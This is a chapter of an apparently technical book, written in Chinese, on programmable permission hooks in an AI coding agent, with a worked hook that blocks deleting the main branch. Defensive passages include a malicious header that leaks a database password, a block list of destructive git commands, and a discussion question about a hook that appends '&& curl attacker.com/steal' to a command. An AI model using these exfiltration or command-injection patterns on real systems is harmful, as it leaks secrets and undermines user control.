Chapter 11: Hooks:可编程的安全策略

如果你的团队规定"禁止删除 main 分支",在 allow/deny 规则里怎么表达?

        tool_use request
             │
      ┌──────▼──────┐
      │  Permission  │
      │  Pipeline    │
      │      │       │
      │ ★PreToolUse ★│
      │ ★  Hooks    ★│     ◄── 本章聚焦
      │      │       │
      │  Rule Engine  │
      │      │       │
      │  Classifier   │
      │      │       │
      │ ★Permission ★│
      │ ★Req. Hooks ★│
      │      │       │
      │  User Dialog  │
      └──────────────┘

11.1 硬编码规则的天花板

前两章剖析的权限系统有一个根本局限:所有规则都是声明式的。

你可以说"允许 Bash(git *)"或"拒绝整个 Bash 工具", 但你无法表达"只拒绝 git push 到 main 分支的操作", 也无法表达"所有 SQL 操作必须经过审计服务"。

这些需求有一个共同特征: 它们需要理解操作内容,而非仅仅匹配工具名或命令前缀。 一个团队禁止向公开 npm registry 发布包, 另一个团队要求所有数据库迁移必须经过 DBA 审核—— 这些策略的多样性远超预设规则的表达能力。

Hooks 就是为此而生的: 一个可编程的策略扩展点,让用户用自己的代码参与权限决策。

如果说 deny/allow 规则是交通信号灯, 那 Hooks 就是交警——交警可以根据现场情况 做出信号灯无法表达的判断。

11.2 四种 Hook 类型:从 shell 脚本到自主验证器

Hook 配置 schema 模块定义了四种 Hook 类型, 每种适配不同的复杂度需求。

Command Hook

最直接的形式——执行一个 shell 命令。 Hook 进程通过 stdin 接收 JSON 格式的事件数据, 通过 stdout 返回 JSON 格式的决策结果。

shell 字段支持 bash 和 powershell。 timeout 限制执行时间,防止 Hook 无限期阻塞。 once 标记一次性 Hook——执行后自动移除,适合初始化场景。 async 支持后台执行模式——Hook 不阻塞主流程。 asyncRewake 更进一步:在后台执行,但如果退出码为 2, 会唤醒模型处理 Hook 报告的阻塞性错误。

Prompt Hook

用一个独立的 LLM 来评估操作。 $ARGUMENTS 占位符会被替换为 Hook 输入的 JSON。

这本质上是"用 AI 审计 AI"—— 可以用轻量模型做快速语义检查。 比如"这个 shell 命令是否试图读取环境变量并发送到外部" ——这种意图级别的判断,单纯的模式匹配做不到, 但一个小模型可以在几百毫秒内给出合理的判断。

model 字段允许指定使用哪个模型, 默认使用轻量快速模型,不会占用主循环模型的资源。

HTTP Hook

将事件 POST 到远程 URL。 适合集成企业级安全审计系统、合规检查服务、SIEM 平台。

allowedEnvVars 是一个精心设计的安全边界: 只有显式列出的环境变量才会在 header 中被插值解析, 未列出的 $VAR 引用变为空字符串。

为什么需要这个限制? 考虑这个场景:恶意的项目级 Hook 配置了一个 HTTP Hook, header 中写 "Authorization": "Bearer $DATABASE_PASSWORD"。 如果没有 allowedEnvVars 白名单, 这个 Hook 就能通过 HTTP 请求将数据库密码泄露到攻击者的服务器。 白名单机制确保了只有开发者显式授权的变量才会被解析。

Agent Hook

启动一个完整的 Agent 来执行验证。 与 Prompt Hook 的关键区别是: Prompt Hook 只做一次 LLM 调用, Agent Hook 可以多轮推理、调用工具。

适合复杂的验证逻辑: "验证单元测试是否通过"需要实际运行测试命令; "检查代码是否符合团队风格指南"需要读取配置文件并对比。 这些超出了单次 LLM 调用的能力范围。

共性:if 预过滤

四种类型都支持 if 字段作为预过滤器。 它使用与权限规则相同的语法(如 Bash(git *)), 在 Hook 进程启动之前做模式匹配。

这是一个重要的性能优化。 没有 if 过滤的 Command Hook 会在每次工具调用时都启动子进程; 有了 if: "Bash(git push *)" 过滤, 只有匹配 git push 的命令才会触发 Hook 子进程。 对于一个典型的 Agent 会话(可能包含数十次工具调用), 这个过滤可以避免大量不必要的进程创建开销。

11.3 Hook 的响应协议:标准化的决策接口

Hook 通过 stdout 返回 JSON 来影响系统行为。 Hook 类型定义模块定义了完整的响应 schema。

同步响应

同步响应 schema 中几个关键字段:

continue——设为 false 可以停止 Agent 继续执行。 配合 stopReason 字段,可以给出停止的原因。

decision——approveblock,直接影响权限决策。 配合 reason 字段,向用户解释为什么。

suppressOutput——隐藏 Hook 自身的 stdout 输出, 避免审计日志或调试信息干扰 Agent 的对话上下文。

systemMessage——向用户显示警告信息, 不进入 Agent 对话上下文,只作为 UI 提示。

PreToolUse 特定输出

对于 PreToolUse 事件, Hook 可以返回三个额外字段:

permissionDecision(allow/deny/ask)—— 直接覆盖工具自检的权限判断。 updatedInput——修改工具的输入参数。 additionalContext——为 Agent 注入额外上下文信息。

updatedInput 是最强大的能力: 一个安全策略 Hook 可以在 git push 命令前 自动添加 --no-force 参数; 一个审计 Hook 可以在 SQL 命令中自动添加 LIMIT 1000。 工具行为被"在飞行中"修改,Agent 和用户都感知不到。

PermissionRequest 特定输出

对于 PermissionRequest 事件, Hook 可以返回结构化的 allow 或 deny 决策。

allow 决策可以附带 updatedPermissions—— 在允许操作的同时更新权限规则。 比如"允许这次操作,并将此命令前缀加入会话级白名单"。

deny 决策可以附带 interrupt: true—— 不仅拒绝当前操作,还通过中止控制器中止整个 Agent。 这是"紧急制动"—— 当 Hook 检测到严重安全威胁(比如疑似 prompt 注入攻击)时, 可以立即停止一切。

异步响应

返回 {async: true} 表示 Hook 在后台继续执行, 不阻塞主流程。 可选的 asyncTimeout 字段设置后台执行的超时时间。 适用于审计日志写入、异步通知推送等不需要等待结果的场景。

11.4 Hook 与权限系统的两个集成点

Hook 在权限流程中有两个截然不同的介入时机。

PreToolUse:在决策链中插入一票否决

PreToolUse Hook 在工具执行前触发。 Hook 结果类型中的 permissionBehavior 字段可以设为 allowdenyaskpassthrough

如果 Hook 说 deny, 即使工具自检和规则引擎都通过了也会被拒绝—— 这给了外部策略系统一个"一票否决权"。

如果 Hook 说 allow, 它会在后续流程中加速通过。 但 safetyCheck 仍然不可绕过, 因为 Step 1g 在 Hook 介入之后执行—— 这保证了即使一个被入侵的 Hook 声称 allow, 对 .git/ 的修改仍然需要人类确认。

PermissionRequest:与用户对话框竞赛

当权限决策为 ask 且需要弹出用户对话框时, PermissionRequest Hook 与对话框同时运行。 回顾 Chapter 9 的 resolveOnce 机制—— Hook 是那场竞赛的参与者之一。

协调者处理模块展示了自动化优先场景的执行顺序: 先跑 Hook(快速、本地), 再跑分类器(慢、推理), 都不行才回退到对话框。

在交互式场景中, Hook 以异步方式启动, 与 UI 对话框、ML 分类器、桌面端 Bridge 等并行竞赛。 通过 claim() 原子操作确保只有第一个响应者获胜。

这个竞赛语义带来了一个重要的体验特性: 如果你的 Hook 能在 100ms 内做出判断, 用户甚至不会看到权限弹窗。 Hook 的存在对用户是透明的——它只加速决策,不增加延迟。

11.5 配置方式:三层来源,松耦合集成

Hooks 在 settings.json 中配置。 Hook 配置 schema 模块定义了顶层结构: 一个以 Hook 事件名为键、匹配器数组为值的偏记录。

每个匹配器包含可选的 matcher(工具名过滤)和 hooks 数组。 matcher 做第一级过滤(只对特定工具触发), if 做第二级过滤(只对匹配模式的调用启动 Hook)。 双层过滤确保了 Hook 只在真正需要的时刻执行。

配置支持三层来源:

  • 用户级~/.agent/settings.json):全局策略,适用于所有项目。
  • 项目级.agent/settings.json):团队策略,提交到版本控制。
  • 本地级.agent/settings.local.json):个人偏好,不进仓库。

松耦合是 Hook 系统的核心设计原则。 Hook 通过 stdin/stdout 的 JSON 协议与主进程通信, 不依赖任何编程语言或运行时。 Python 脚本、Node.js 程序、curl 调用、甚至一个 jq 管道—— 只要能读 stdin 写 stdout,就能成为安全策略。

11.6 实战案例:禁止删除 main 分支

将所有概念串联起来。 假设团队需要禁止任何删除 main 分支的 git 操作。

创建 .agent/hooks/protect-main.py

#!/usr/bin/env python3
import json, sys

data = json.load(sys.stdin)
cmd = data.get("tool_input", {}).get("command", "")

dangerous = ["branch -d main", "branch -D main",
             "push origin :main", "push origin --delete main"]

if any(p in cmd for p in dangerous):
    json.dump({"decision": "block",
               "reason": "Team policy: main branch deletion forbidden."
              }, sys.stdout)
else:
    json.dump({"decision": "approve"}, sys.stdout)

配置在 .agent/settings.json 中:

{
  "hooks": {
    "PreToolUse": [{
      "matcher": "Bash",
      "hooks": [{
        "type": "command",
        "command": "python3 .agent/hooks/protect-main.py",
        "if": "Bash(git *)",
        "timeout": 5,
        "statusMessage": "Checking branch protection..."
      }]
    }]
  }
}

执行流程: Agent 请求 git branch -D main -> PreToolUse 事件触发 -> matcher: "Bash" 匹配成功 -> if: "Bash(git *)" 匹配成功 -> Hook 进程启动,stdin 接收 JSON -> Python 检测到危险模式 -> stdout 输出 block 决策 -> 权限引擎收到 deny -> Agent 看到 "Permission denied: Team policy..." 然后选择替代方案。

整个过程对 Agent 透明——它只知道被拒绝了, 不知道是 Hook、用户还是分类器拒绝的。

11.7 安全设计:Hook 本身不能成为攻击面

Hook 系统本身也需要安全机制, 否则它就成了一个新的攻击入口。

信任域隔离。 Hook 脚本必须由用户显式配置在 settings.json 中, 而不是由 Agent 动态创建。 首次加载包含 hooks 的项目设置时, 需要用户通过信任对话框确认。 这防止了"恶意仓库在 .agent/settings.json 中预置后门 Hook"的攻击。

超时强制。 每个 Hook 都有超时限制(timeout 字段), 防止恶意或有 bug 的 Hook 永久阻塞 Agent。 没有配置超时的 Hook 使用系统默认超时。

管理策略优先。 在企业环境中,policySettings 来源的 Hook 优先级最高。 管理 Hook 独占开关禁止非管理 Hook 执行 ——确保只有企业安全团队审核过的 Hook 能运行。 全局禁用开关在紧急情况下禁用一切 Hook——这是最后的安全阀。

输出验证。 Hook 的 JSON 输出经过 Zod schema 严格验证。 无效的响应被安全忽略而不会导致系统崩溃。 这是防御性编程的典型实践——永远不信任外部输入, 即使那个"外部"是用户自己编写的 Hook 脚本。

环境变量隔离。 HTTP Hook 的 allowedEnvVars 使用白名单机制。 如果未列出 DATABASE_PASSWORD, 即使 header 配置中写了 $DATABASE_PASSWORD, 也会被解析为空字符串。 白名单,不是黑名单——这个方向性选择至关重要。

11.8 27 种事件:覆盖 Agent 生命周期

Hook 系统的骨架是 27 种事件(定义在 Agent SDK 类型模块中)。 与权限直接相关的三个核心事件—— PreToolUsePermissionRequestPermissionDenied—— 我们已经详细讨论过。

其余事件覆盖了 Agent 生命周期的方方面面:

会话级SessionStart/SessionEnd(启动和结束)、 Setup(首次安装)、ConfigChange(配置变更)。

工具级PostToolUse/PostToolUseFailure(执行后/失败后)、 CwdChanged(工作目录切换)、FileChanged(文件变更)。

Agent 级SubagentStart/SubagentStop(子 Agent 管理)、 Stop/StopFailure(Agent 停止)。

协作级TeammateIdle(团队成员空闲)、 TaskCreated/TaskCompleted(任务生命周期)。

上下文级PreCompact/PostCompact(上下文压缩前后)、 InstructionsLoaded(指令加载完成)。

这种全生命周期覆盖意味着 Hook 不仅仅是权限的扩展—— 它是 Agent 行为的通用可编程接口。 你可以用 PostToolUse Hook 在每次代码修改后自动运行 linter, 用 SessionStart Hook 初始化项目环境, 用 Stop Hook 生成会话摘要报告。

11.9 小结:从预设规则到可编程策略

Hook 系统将权限模型从"声明式规则"提升到了"可编程策略"。 其设计智慧体现在三个层面:

渐进增强。 不配置任何 Hook,系统照常运行。 添加一个 Hook,只增强一个决策点。 Hook 是纯粹的增量,不改变基础行为。

竞赛语义。 PermissionRequest Hook 与用户对话框、ML 分类器并行竞赛。 如果 Hook 比用户反应快,用户感知不到 Hook 的存在。

松耦合协议。 stdin/stdout JSON 协议意味着任何编程语言都能编写 Hook。 企业安全团队可以用 Go 编写高性能审计服务, 个人开发者可以用三行 bash 实现简单的模式匹配。

从更宏观的视角看,Hook 体系完成了一个重要闭环: 用户不仅是权限系统的被动受益者, 更是策略制定的主动参与者。 当内置规则不够用时, 用户用自己的代码来表达安全意图—— 这就是可编程安全策略的力量。


思考题

  1. PreToolUse Hook 可以返回 updatedInput 来修改工具输入。 如果一个恶意的项目级 Hook 悄悄修改了 Bash 命令内容 (比如追加 && curl attacker.com/steal), 现有的安全机制能否检测到?你会如何设计防护?

  2. Agent Hook 启动一个完整的 Agent 来验证操作。 但这个验证 Agent 本身也需要调用工具(比如读文件检查测试结果), 它的工具调用是否也需要权限检查? 如果需要,会不会形成无限递归?

  3. Hook 的 if 字段使用与权限规则相同的匹配语法。 但这种语法的表达能力有限—— 无法匹配"包含 --force 参数的 git push"。 如果你要扩展 if 的表达能力, 你会选择正则表达式、JSONPath 还是其他方案? 每种方案的安全性和性能权衡是什么?